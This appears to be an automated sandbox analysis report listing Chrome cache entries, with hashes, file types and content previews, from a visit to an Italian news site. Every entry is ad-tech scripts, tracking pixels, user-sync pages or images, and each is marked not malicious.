SHA-256:	468959E93F9B4E6F07C6A8F8D0E93D8FCB37D76A8615A93EC153F5842247BA99
SHA-512:	748B27BDB7C7FA082D7BE6C69F56DC33302105784391320A5CF960531C594097BC406FD3F4690E4CF74F4016F4D56804A4296E9BD885562EB66699E1318F7000
Malicious:	false
Reputation:	low
URL:	https://63b93f34a29d568971c64c5fd0da54ec.safeframe.googlesyndication.com/safeframe/1-0-40/html/container.html
Preview:	<!DOCTYPE html>.<html>. <head>. <meta charset="UTF-8">. <title>SafeFrame Container</title>. <script>.(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var f=this\|\|self,h=function(a){return a};var n=function(a,b){this.h=a===l&&b\|\|"";this.g=m},p=function(a){return a instanceof n&&a.constructor===n&&a.g===m?a.h:"type_error:Const"},m={},l={};var r=void 0;/.. SPDX-License-Identifier: Apache-2.0./.var t,aa=function(){if(void 0===t){var a=null,b=f.trustedTypes;if(b&&b.createPolicy){try{a=b.createPolicy("goog#html",{createHTML:h,createScript:h,createScriptURL:h})}catch(c){f.console&&f.console.error(c.message)}t=a}else t=a}return t};var ca=function(a){this.g=ba===ba?a:""};ca.prototype.toString=function(){return this.g+""};var ba={},da=function(a){var b=aa();a=b?b.createScriptURL(a):a;return new ca(a)};var ea={},u=function(a,b){this.g=b===ea?a:""};u.prototype.toString=function(){return this.g.toString()};var ha=function(){var a=v,b={messa

Chrome Cache Entry: 1019

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 6 x 5
Category:	dropped
Size (bytes):	50
Entropy (8bit):	3.8488255736198
Encrypted:	false
SSDEEP:	3:CN+ltRPQEsJen2sSX:xvQEsJ42sSX
MD5:	E4D673A55C5656F19EF81563FB10884C
SHA1:	1F2D8ED221D39329251AD3A6FF1EDB20B7219443
SHA-256:	F3A8992ACB9AB911E0FA4AE12F4B85EF8E61008619F13EE51C7A121FF87F63B1
SHA-512:	E0B03411282A979CF772F700D9E5634B0C25C612E380AD33C0D59059B1B479D027016D5BEB148403EF185430DB35F5FAED362F36CE2C8ECAD0E6D8E30CEA97B4
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,............bx..j....;

Chrome Cache Entry: 1020

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	97
Entropy (8bit):	4.779959045011613
Encrypted:	false
SSDEEP:	3:8WiCLViemo/HHVIoCYKgQnIwBM4D/YCgyfBhn:8WiIUemo/H1fCYKbY4DwMD
MD5:	3189C9442C8567165D3FE96874626850
SHA1:	65C0D09EF179021EF41B5314B9A95B98E63B8AFB
SHA-256:	B6D379DEDC431A85415820694181A506F5918ABC6E4E683AFAFC880BD1D7AB0F
SHA-512:	A0DB1971E559124728C0D72594C77226D75D010CC7E4437E5DA05C13238AE5B581B5143F114033934B7554DF6C490276401F72166F9B998090B33F06CEC5EBA3
Malicious:	false
Reputation:	low
URL:	https://aax.amazon-adsystem.com/e/dtb/bid?src=3627&u=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&pid=fMAH01Ecx6l5G&cb=4&ws=1280x907&v=24.305.1002&t=2000&slots=%5B%7B%22sd%22%3A%22div-gpt-ad-BSNEWS-DSK-Spalla-dx-300X600-ATF%22%2C%22s%22%3A%5B%22300x600%22%5D%7D%5D&pj=%7B%22device%22%3A%7B%22sua%22%3A%7B%22architecture%22%3A%22x86%22%2C%22bitness%22%3A%2264%22%2C%22mobile%22%3A0%2C%22model%22%3A%22%22%2C%22source%22%3A2%2C%22platform%22%3A%7B%22brand%22%3A%22Windows%22%2C%22version%22%3A%5B%2210%22%2C%220%22%2C%220%22%5D%7D%2C%22browsers%22%3A%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22132%22%5D%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%5B%228%22%2C%220%22%2C%220%22%2C%220%22%5D%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22132%22%5D%7D%5D%7D%7D%7D&sm=8808e21e-6ea5-4543-8180-31905f081884&gdprl=%7B%22status%22%3A%22no-cmp%22%7D&vm=%7B%22ids%22%3A%7B%22pubcommon%22%3A%224c5bf266-24df-402d-bdb8-4178f61acf26%22%2C%22id5%22%3A%22ID5*t-hyak_q_UQvB6ez3TT_17w3X0Ef8s4Kslmg1-Kc-tuQD_uGA_mUXTf7YNdVZuNN%22%7D%7D
Preview:	apstag.punt({"cmp":"https://s.amazon-adsystem.com/iu3?cm3ppd=1&d=dtb-pub&csif=t&dl=gg","cb":"4"})

Chrome Cache Entry: 1021

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:v:v
MD5:	68B329DA9893E34099C7D8AD5CB9C940
SHA1:	ADC83B19E793491B1C6EA0FD8B46CD9F32E592FC
SHA-256:	01BA4719C80B6FE911B091A7C05124B64EEECE964E09C058EF8F9805DACA546B
SHA-512:	BE688838CA8686E5C90689BF2AB585CEF1137C999B48C70B92F67A5C34DC15697B5D11C982ED6D71BE1E1E7F7B4E0733884AA97C3F7A339A8ED03577CF74BE09
Malicious:	false
Reputation:	low
URL:	https://d.omg.neodatagroup.com/cm?eid=2685567776971821124&pv=adform&sid=1011&rt=img
Preview:	.

Chrome Cache Entry: 1022

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16072), with no line terminators
Category:	downloaded
Size (bytes):	16072
Entropy (8bit):	5.511526781045287
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncG:jAJ00JnLOH4ZjhwDi2+0s9t
MD5:	1EFFFD6CB33146ADD963FAED777BEF4E
SHA1:	E02756C23FF8938F41B45C054F2DF1E74017AF4B
SHA-256:	C861DD92BE984FE498ECE34C0F3C921861AC51BFEE50323FCAE21231ABF7A82B
SHA-512:	C18BC005BD7EE270D1A009801311F2CD53DCB5E6E669216AEA55393FC30B642749926E357370D39FB013E0D9EC1BF781869AB5C568AC09529477DEF0192D3154
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/user_sync.html?kdntuid=1&p=156695&gdpr=0&gdpr_consent=
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 1023

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65535), with no line terminators
Category:	downloaded
Size (bytes):	93978
Entropy (8bit):	5.569803881587737
Encrypted:	false
SSDEEP:	1536:xgDf5aV45N4DSs2eMhUPA7t6Tq7essVRA78RLz/LYVBpTXGp2:xgDfs2e+7t6TGesEjaBpSs
MD5:	63D7E6943D354989006A0E70BDCE2495
SHA1:	F0FB9A5F396D5A89A1317B8771D1E7B44AF64A92
SHA-256:	7BCC8AF60AF033AD146EB35A184C3C264D80381D25C4A54281ACE9E746589B75
SHA-512:	7005BD582667AAD99D7562A38A93B06FCF9CB36BFE89877938A9FD9CB91A07F7D9C6DD9891572DEECC025CCB2CCB18853E3DBAF59BE220BC31E8E8821CE93AF7
Malicious:	false
Reputation:	low
URL:	https://js.tncid.app/tnc.min.js
Preview:	!async function(w,d){"use strict";var version="3.24.1",cs=d.currentScript,params=cs&&cs.src&&URLSearchParams?new URLSearchParams("?"+(cs.src.split("?")[1]\|\|"")):{get:function(){}},windowParams=new URL(window.location.href).searchParams,global=(void 0!==cs&&cs?cs.getAttribute("ns")\|\|params.get("ns")\|\|cs.getAttribute("global")\|\|params.get("global"):d.querySelector('script[id="tnc_core"]')?d.querySelector('script[id="tnc_core"]').getAttribute("global"):null)\|\|"__tnc",script_origin=(cs&&cs.src&&URL?new URL(cs.src):{origin:"https://js.tncid.app"}).origin,bd_url=script_origin+"/bd/pv",tp_modules_path=script_origin+"/modules/%s.js",tp_options_path=script_origin+"/%s/options.json",tp_scripts_path=script_origin+"/%s/tp_scripts.json",tp_callback_path=script_origin+"/%s/callback.js",tp_prepare_path=script_origin+"/%s/prepare.js",emitter,reservedEvents=["abortable","added-custom-variable","cacheid-found","data-sent"],FPKeys=["Lu","Wd","Bl","Cd","Dm","Hc","Sh","Sw","Ah","Aw","To","Tz","Ss","Ls","Id

Chrome Cache Entry: 1024

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=pmeb&google_sc=1&google_hm=AfUyisTZRK2EaGCohSR8aA%3D%3D&google_redir=https%3A%2F%2Fimage8.pubmatic.com%2FAdServer%2FImgSync%3Fsec%3D1%26p%3D156578%26mpc%3D4%26fp%3D1%26pu%3Dhttps%253A%252F%252Fimage4.pubmatic.com%252FAdServer%252FSPug%253Fp%253D156578%2526sc%253D1&google_push=AXcoOmTz7QuRWXQ6bPVCmC4S62GMNxTu1Ese4IkY9NbBPcFMawCO2gO-oevdqo694RPGtCDOeR5M9D1Laao1l5zozycOLZ1quqfeDQ
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 1025

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:v:v
MD5:	68B329DA9893E34099C7D8AD5CB9C940
SHA1:	ADC83B19E793491B1C6EA0FD8B46CD9F32E592FC
SHA-256:	01BA4719C80B6FE911B091A7C05124B64EEECE964E09C058EF8F9805DACA546B
SHA-512:	BE688838CA8686E5C90689BF2AB585CEF1137C999B48C70B92F67A5C34DC15697B5D11C982ED6D71BE1E1E7F7B4E0733884AA97C3F7A339A8ED03577CF74BE09
Malicious:	false
Reputation:	low
URL:	https://tracker.neodatagroup.com/cm?eid=a109dc60-dc7c-45e5-ab53-e2448a53420f&pv=TDD&sid=1011&rt=img&rnd=1714207885
Preview:	.

Chrome Cache Entry: 1026

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 1027

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (335), with no line terminators
Category:	downloaded
Size (bytes):	335
Entropy (8bit):	4.571924885276839
Encrypted:	false
SSDEEP:	6:aL0zTXL2+5JDm3L0zTiWigJZC0zTiWTeEYOR9OoAEYoGEL0zTiWig3jSoGEL0zTl:a6TXayJDmKTieZlTiQtA11TiGS1TiVAV
MD5:	A4B903E502D8EC453FC84733AC893E20
SHA1:	66D6B10FA3E2CE77323D9C99A5953C4E666FE297
SHA-256:	C298D4BFA523ECC56541ACE1F66E786986E5AD8B478042798AE9B8A21BB2CB8D
SHA-512:	259F25C966CA025DE630AD3097A489268C2A3DC51D7C08926F1ADC00B2B62D02FDFCF6F8A03C492C26BBEF77B3118E3F765791C262501040E679E84EB6F30A83
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/plugins/wp-bannerize-pro/public/css/wp-bannerize.min.css?ver=1.6.9
Preview:	.wp_bannerize_layout_vertical img{display:block;margin:0 auto}.wp_bannerize_layout_horizontal:after,.wp_bannerize_layout_horizontal:before{display:table!important;line-height:0!important;content:""!important}.wp_bannerize_layout_horizontal:after{clear:both!important}.wp_bannerize_layout_horizontal .wp_bannerize_banner_box{float:left}

Chrome Cache Entry: 1028

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2536)
Category:	downloaded
Size (bytes):	4674
Entropy (8bit):	5.518456421561503
Encrypted:	false
SSDEEP:	96:BfZhLAfDLwfHgLRfN7tf4fYfrfd22fQLE2B+f6LayOZSfZlCUybFuuI9j3obFuBH:dL8LrLPibLE2B3Lay93ybFuN9LobFuBH
MD5:	3C9D55F57DED05649FD26A1F8200277D
SHA1:	4C399A8120335BADFAAB152171A5720EB513392F
SHA-256:	C1C8C841B82C514A7DD2F514E4F2943832AB399C3CE494E57880C66522CF3988
SHA-512:	3FFBF843415BC27FFE1A6F3172D8BC3AB2717CEFB950A481924BF29CCAC4409407E2E10D52E7E026E534F3C8F7D786EBCD119419A83A4AA55A11CC0B18AAA19C
Malicious:	false
Reputation:	low
URL:	https://onetag-sys.com/usync/?cb=1711615879045&gdpr=0&gdpr_consent=
Preview:	<!DOCTYPE html>.<html lang="en">.<head>. <meta charset="UTF-8">. <title>Sync Pixels</title>.</head>.<body>..<script>.. var syncPixels = "https://rtb.mfadsrvr.com/sync?ssp=onetag&ssp_user_id=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI&gdpr=${GDPR}&gdpr_consent=${GDPR_STRING} https://sync.mathtag.com/sync/img?mt_exid=75&redir=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D1%26uid%3D%5BMM_UUID%5D%26gdpr%3D${GDPR}%26gdpr_consent%3D${GDPR_STRING} https://pixel-eu.rubiconproject.com/exchange/sync.php?p=onetag&gdpr=${GDPR}&gdpr_consent=${GDPR_STRING} https://ib.adnxs.com/getuid?https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D98%26gdpr%3D${GDPR}%26gdpr_consent%3D${GDPR_STRING}%26uid%3D$UID https://ads.stickyadstv.com/user-matching?id=3679&gdpr=${GDPR}&gdpr_consent=${GDPR_STRING} https://pixel.rubiconproject.com/tap.php?v=223352&nid=4584&put=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI https://cs.admanmedia.com/73c1e1bfc3bde354d60b80e601ae3914.gif?puid=[UID]&redir=https%3A%2F%2Fo

Chrome Cache Entry: 1029

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (531), with no line terminators
Category:	downloaded
Size (bytes):	531
Entropy (8bit):	4.98210001164907
Encrypted:	false
SSDEEP:	12:2JqxHUX03m4pM86VVC05Zs5ohgwML9cVvHGNZtYETL51VodQXvloub:2J703fm8uVCxwgxkHEZ1VZflok
MD5:	8041C6B3CAF912AC0AF7550A61CECDD7
SHA1:	B0E25D615F9F078AF6A36110D1DEF88245845023
SHA-256:	7FB1AF2BDA894AB612284B4075BBB8C72036404AF69A4B4D6BD44FEAD573F221
SHA-512:	37A62A2AA1C5E216FF4CC1ABB256E3A6C1F964E10EC64FB6A582BAB7FFF110D4FCC5B8727915E0793E5C0B9E6047F1F88164AFDF9C3A35471B42359E9F52B788
Malicious:	false
Reputation:	low
URL:	https://config.aps.amazon-adsystem.com/configs/3627
Preview:	(function () {try {const accountId = "3627";window._aps = window._aps \|\| new Map();if (!_aps.has(accountId)) {_aps.set(accountId, { queue: new Array(), store: new Map() });}function record(name, detail) {_aps.get(accountId).queue.push(new CustomEvent(name, { detail: detail }));}} catch (e) {console.error(e);}try {record("_config/requestViewerCountry/define", {"code": "US"});record("analytics/sampling/set", {"rates": {"error": 0.001, "status": 0.0001}});record("_config/config/didLoad", {});} catch (e) {console.error(e);} })();

Chrome Cache Entry: 1030

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (48836), with no line terminators
Category:	downloaded
Size (bytes):	48836
Entropy (8bit):	5.411548097517353
Encrypted:	false
SSDEEP:	768:d8+zEL8DmklAYCAKOVs+WXoCR05VGq2y5aaSTKgTuk:C+l6DvNwoXRk24atTZTd
MD5:	1D4A194055C5ABC7908F9325AF928C3E
SHA1:	4E67B94F89A999E59908A18AA1EB2A31EAAD6D8D
SHA-256:	0420DA5E791DFA0B103E4306D571EDE8ED5AFF869564BCA01160110A9B4C7174
SHA-512:	602D2DA00B1A2ED38F4F7567E898F33765F45897A04AC419B1D8115FB8CFF7E7F96E9456E47DF9534EF8F998D7EF599416757740159D5C7B476E91EA554E90C4
Malicious:	false
Reputation:	low
URL:	https://cdn.codesour.com/codesour/bsnews/182.prod.js
Preview:	(self.webpackChunksour=self.webpackChunksour\|\|[]).push([[182],{182:(e,t,i)=>{"use strict";i.r(t),i.d(t,{pbjsConfig:()=>a,idSite:()=>d,idPlanning:()=>s,dmpConfig:()=>l,scriptsToLoad:()=>n,intextConfig:()=>r,interstitialConfig:()=>p,playersConfig:()=>o,adUnits:()=>c,opticalConfig:()=>m,device:()=>u,natives:()=>b,trackerConfig:()=>g});const a={consentManagement:{gdpr:{cmpApi:"iab",timeout:3e3,allowAuctionWithoutConsent:!0}},priceGranularity:"high",enableSendAllBids:!0,useBidCache:!0,userSync:{filterSettings:{iframe:{bidders:"*",filter:"include"}}},schain:{validation:"strict",config:{ver:"1.0",complete:1,nodes:[{asi:"movingup.it",sid:"109",hp:1}]}}},d="61371c43d1edd0284c3e6bd8",s="609d5d87e849191e732a935b",l=[{WRP_ID:"485557",WRP_SECTION:"ROS",name:"weborama",WRP_GRP:"485552",WRP_SECTION_GRP:"BSNEWS"},{name:"omnicom"},{name:"comscore"},{name:"zeotap"},{name:"TNC"}],n={viralize:{id:{timestamp:1654755088,date:1654755088e3},name:"viralize",selector:null,url:"",async:!0,extraParams:null,active

Chrome Cache Entry: 1031

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 218x150, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	7140
Entropy (8bit):	7.968078724560524
Encrypted:	false
SSDEEP:	192:sN5f8qdiR01UWQsB5s3V1YbBDhG2XqLAVRIm6l6R8UFz8:Mrdc01UWNjo1SBhG+kAgoqmz8
MD5:	B061BA3CAC1BC9D0CB84F37F9C0352BE
SHA1:	86DABFFDDEE60FA204D4B60AD125ACD698845D34
SHA-256:	8F16E8ED70004877AB885DED47DA19E6972B30E11CEE4F09913CF4ABB1C7EA2E
SHA-512:	A15AF145D23CB11DC4E55D4FB099E8E53AEEE17697380FBD32E8F073BDD240C966C06BD47F835E486E9C5F906CA5CAD0E8A20441463D0D9A23345EB1CBEDA262
Malicious:	false
Reputation:	low
URL:	https://i0.wp.com/bsnews.it/wp-content/uploads/2024/03/photo_6051118783147393837_y.jpg?resize=218%2C150&ssl=1
Preview:	RIFF....WEBPVP8 ....pj.......>.<.H%."!/W.p...e....M...]}....x...../.............7.hN...._..d{......O..S...G....AP"....y%Lf....(...94...e.... w.W$.... ._"..........P.QA...X.D...pY,u.........<..9U....F..D..IR..]=0f..Z.('.....Y.d..8....Dh....+......zh D.WH.f.X.q...<...y.f@_2.t......,...S...xa.{{U......R .d.A...0.`..,.XJL..-........\|.8h.K8.C......F...dL........,.........4.c.t....7L.h.a.h.:.\|.:.snG-.L\|:..3NSf.D.....T.$..Gq.x.-...i')d...+X;Y..w..I.Ftq..e.p.x.k..-...&A.....Y....E..:.C.;...,`......~.vds.,u2.u....,Z...h8.3..Z...h...A..6...B..a%7..&....LO..42.....6.....].......U..j........$.).K...:.?.....<.u.du.8.[...h.....EF...`.".A88....5...R#..[Ez.@h..x..a<l..N[..... ..;...`3..z.DU..=};/B..Q..fg.97...E......Y.X\;..q<....v_...P....1'...d.w.......8.m.Hn..py.-.....m9{H.B1'(.9...w.......2e.hd.R...aNk....J.].~\.`5.........->Sbw.......p.8.;)J..r..$ ......>.l^.J.-...u..P..t..Rx....9...Y.......k....+..U ..M..H....9<c.E.I.U3.\|]..Un6....W#..*.R...:k.

Chrome Cache Entry: 1032

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (24254)
Category:	downloaded
Size (bytes):	40788
Entropy (8bit):	5.374660334159496
Encrypted:	false
SSDEEP:	768:jf8/g/Nl/s/s+s1Rfo0b2FwYLBdYKriRzCsvFvCuQ:jfUoNl0s00x+rDuCuQ
MD5:	48404FD3F79A09E1DAEAEAE4767F35DA
SHA1:	FCD45EE9C0F0819D7B0D7E277E616E3667DBA311
SHA-256:	94A2AA2B32E945F2B26B8FF0D81AAC01F1EE3011427C0954791E70A164C375B6
SHA-512:	061B533AA32758A017E084BA17CF668D9173F3F2C9687539E52BF3119D181CEB8986E156DCAC39DD72D224FEDAA11E06DD8DF1180711FEB419284AAC52B2A0ED
Malicious:	false
Reputation:	low
URL:	https://eus.rubiconproject.com/usync.js
Preview:	var comments = 'User-Sync: generated: 2024-03-27 05:15:24 PDT';.var rtb_sync = {"consent_rate":100,"reset_rate":40,"ttl":14,"sample":100,"max_pixels":16,"pixel_sets":{"rtb":{"sample":100,"pixels":{"1185":{"ttl":7,"img":"https:\/\/ad.turn.com\/r\/cs?pid=6","secure":{"img":"https:\/\/ad.turn.com\/r\/cs?pid=6"},"priority":7,"partner":"amobee"},"1902":{"priority":17,"ttl":2,"img":"https:\/\/cms.quantserve.com\/pixel\/p-e4m3Yko6bFYVc.gif?idmatch=0","secure":{"img":"https:\/\/cms.quantserve.com\/pixel\/p-e4m3Yko6bFYVc.gif?idmatch=0"},"partner":"quantcast"},"1986":{"priority":7,"ttl":1,"img":"https:\/\/ib.adnxs.com\/getuidnb?http%3A%2F%2Fpixel.rubiconproject.com%2Ftap.php%3Fv%3D4894%26nid%3D1986%26put%3D$UID%26expires%3D30","secure":{"img":"https:\/\/secure.adnxs.com\/getuidnb?https%3A%2F%2Fpixel.rubiconproject.com%2Ftap.php%3Fv%3D4894%26nid%3D1986%26put%3D$UID%26expires%3D30"},"partner":"xandr"},"2046":{"priority":13,"ttl":7,"img":"https:\/\/token.rubiconproject.com\/token?pid=2046&pt=n&a=1"

Chrome Cache Entry: 1033

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	269
Entropy (8bit):	5.235195150873638
Encrypted:	false
SSDEEP:	6:hn8FQiowadCc4svmzsMX5mBQLzLcIjEdxvAqJmW/upLV4HX4QL:hnMQbwuO4M2e4xYqJmWeV4IQL
MD5:	C7B1A96E4676C76C0240D4A835FB7252
SHA1:	8A4DE304873BB5A8C11DD86B86CC8B8356BAD8B5
SHA-256:	E4DF52D49C57BC3E7158CB052CC05C60F1258C24DE5C5728DAC5D43272943AD9
SHA-512:	349FE7702C3A1355026D9051B3BDF4143358A34A416DF67099E7FA16CACD72270E40DAF59C24C1FE0C6705F91AEDABD0E9D8298985E6A3BF9F133C08DC07AD86
Malicious:	false
Reputation:	low
URL:	https://eus.rubiconproject.com/usync.html?gdpr=0&gdpr_consent=
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">. Copyright Magnite 2024 -->.<html>.<head>. <title>User-Sync</title>.</head>.<body>. <script type="text/javascript" src="usync.js"></script>.</body>.</html>.

Chrome Cache Entry: 1034

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://dsum-sec.casalemedia.com/rum?cm_dsp_id=123&external_user_id=TjMxskYIXe9LRDfaNGZeQmalMCs
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 1035

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 1036

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://sync.e-planning.net/um?uid=035fb342-304f-4e3b-b2b9-1e0903ffb19a-66052f91-5553&dc=0abbcb4eba840e59&iss=1
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 1037

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.142069457963608
Encrypted:	false
SSDEEP:	3:CU1urkltxlHh/:gg/
MD5:	DB04C7B378CB2DB912C3BA8A5A774EE3
SHA1:	DEE34BD86C3484D31002182AA2B7CAA4699126B8
SHA-256:	98B3D9D20E032F90ACA49E9B116225D539FF6FBDB7E42C3C363F63896AC03D2A
SHA-512:	826225FC21717D8861A05B9D2F959539AAD2D2B131B2AFED75D88FBCA535E1B0D5A0DA8AC69713A0876A0D467848A37A0A7F926AEAFAD8CF28201382D16466AB
Malicious:	false
Reputation:	low
URL:	https://core.iprom.net/cookiesync?gdpr=0&gdpr_consent=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 1038

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 218x150, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	5028
Entropy (8bit):	7.9627194403307175
Encrypted:	false
SSDEEP:	96:1spKZiTwuWQHrj2JpEiGWLckYy7D/0fKnGdHDrNb9:1QdwuWUrjRkYy74SnGdjrNx
MD5:	4224BC6A091E5CE1032EF447E835DDAA
SHA1:	39FBCD900CED246673C6B10C2267AE121327301E
SHA-256:	D08939A1FECB27683F93272FC0A1D8200302B55768100C9D31A824FCF770F7D8
